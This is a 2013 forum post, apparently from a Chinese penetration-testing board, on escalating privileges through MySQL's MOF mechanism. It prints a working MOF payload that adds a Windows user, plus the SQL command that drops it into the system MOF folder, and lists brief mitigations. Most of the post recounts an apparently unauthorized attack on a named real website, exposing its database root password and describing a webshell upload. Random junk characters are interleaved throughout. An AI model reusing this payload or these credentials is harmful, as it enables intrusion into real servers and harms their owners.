中国网络渗透测试联盟

标题: Mysql mof扩展漏洞实例与防范 [打印本页]

作者: admin    时间: 2013-1-4 19:49
标题: Mysql mof扩展漏洞实例与防范
Mysql mof扩展漏洞防范方法
5 |% A1 `: e5 a/ @6 z3 }* T% {  H! x, Z* u6 k9 I
网上公开的一些利用代码:/ g" J/ G4 I1 U3 p2 M
& K1 c4 c- M; O" Q, M: u/ g$ U
#pragma namespace(“\\\\.\\root\\subscription”)& l# t  j* I8 a! Y4 E; f
: T* a8 G" a- w- @6 z
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };. z& T- i. ~+ g/ Z
5 v+ Y5 O+ X- b

" d3 a% e1 G2 S  e/ N$ d+ n- q$ \; F3 {9 Q+ N
/ C4 B/ m( ?  `: r7 F

& R) ~  ?3 v; ~7 a$ ?9 D连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
8 \' I0 A  q9 ]( I; o$ h2 j6 g从上面代码来看得出解决办法:
7 U# R' q1 \0 F; v9 `2 U$ C- M2 ~& t3 N# ~1 w* _
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
7 U  _2 M6 T! P' o" v! w: ~& q3 L% d' _& B
2、禁止使用”WScript.Shel”组件
" ~7 k' w/ t- V3 w& ?! v
& B- O8 P; p9 k4 L& F+ g7 D3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
# n% Z& U( Z- O( H- W" n3 Z
8 O% ~1 q* G& K" m( H+ `& w当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
9 z1 B( D- A$ W1 q- n' ~
# L' c' ^1 C4 l' i4 n) }事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权& Q5 g6 f# D0 ?: s: O
$ v4 i# t- Z- O: Q- o
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容4 v. O) ], J; {  x
) Q) [" H3 ]7 E( q6 a
看懂了后就开始练手吧% g# J( w' M& `( W# E/ O7 E
7 n$ F9 c1 G* \% U4 T- v# u
http://www.webbmw.com/config/config_ucenter.php 一句话 a: C6 ?: \0 D* i$ Y+ {, ?0 V! |
* X. P3 [! o" N# c
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。( G0 B0 ?2 S9 ]- L

/ Y: y! ]6 e: a" V$ M于是直接用菜刀开搞
1 Q- Z& V  u6 d% [5 s5 E1 e( d& @5 Q# A
上马先8 T( w- L3 B9 R1 W

. m! h* S: ^0 B# G既然有了那些账号 之类的 于是我们就执行吧…….! b2 o6 n6 t# l! x% \% k! z

; s! @* r/ G) q. b9 h小小的说下
# N! t1 I. _3 m/ t+ D# O) i' P* R, O% ]; m/ h* J5 s* p
在这里第1次执行未成功        原因未知
  U% y/ B; A/ e' f# j4 R# Z% C) v1 L7 I3 w  c
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
- w  s7 f/ n7 Q
( n0 `+ `, o; T  }#pragma namespace(“\\\\.\\root\\subscription”). J7 g' r, |* a

' \; l; j7 k( q" u- p- Z9 Binstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
* w0 A" t7 `' Q2 s
: D4 @2 l9 X$ p4 O( \: m2 |! k. _我是将文件放到C:\WINDOWS\temp\1.mof) n2 B0 C; {/ y5 m% \' O
2 U; T+ ?) Q( z/ _9 L7 h/ v$ r+ v
所以我们就改下执行的代码( |) [/ X# D) x3 B7 H; G4 |
, U7 H1 U% L/ p% J2 T) K5 G6 u
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;9 Z  ?0 H5 }# s9 H

/ U/ }: }' N% e) X
, ?$ I: o4 C# U! m. p) I, q  g6 \4 S! A, g; v5 X9 \. ?
但是 你会发现账号还是没有躺在那里。。! l; k1 w7 b+ D9 u3 K

* Y" O5 X4 v2 w: a: `0 C" z0 k于是我就感觉蛋疼( ^9 ]& z; G! `  S

( Z0 G5 B8 p+ w- _2 L5 n就去一个一个去执行 但是执行到第2个 mysql时就成功了………( m! q( K* O6 e# A) Y
0 D" I) G& N8 x# {4 J
2 m7 B. B' E7 c7 S

* L8 `4 o! H$ }# E( _但是其他库均不成功…
; |* c' j' T! k9 {  _! q/ X/ h
0 J  n1 F# E" X# F我就很费解呀 到底为什么不成功求大牛解答…
) d0 `* {* c; a! n* k* r7 P  I  J  U  {7 q
​, R9 D* h. |7 O. J* Y8 I

% ~6 f7 W1 v0 S% k& r5 I- O) u2 d( G




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2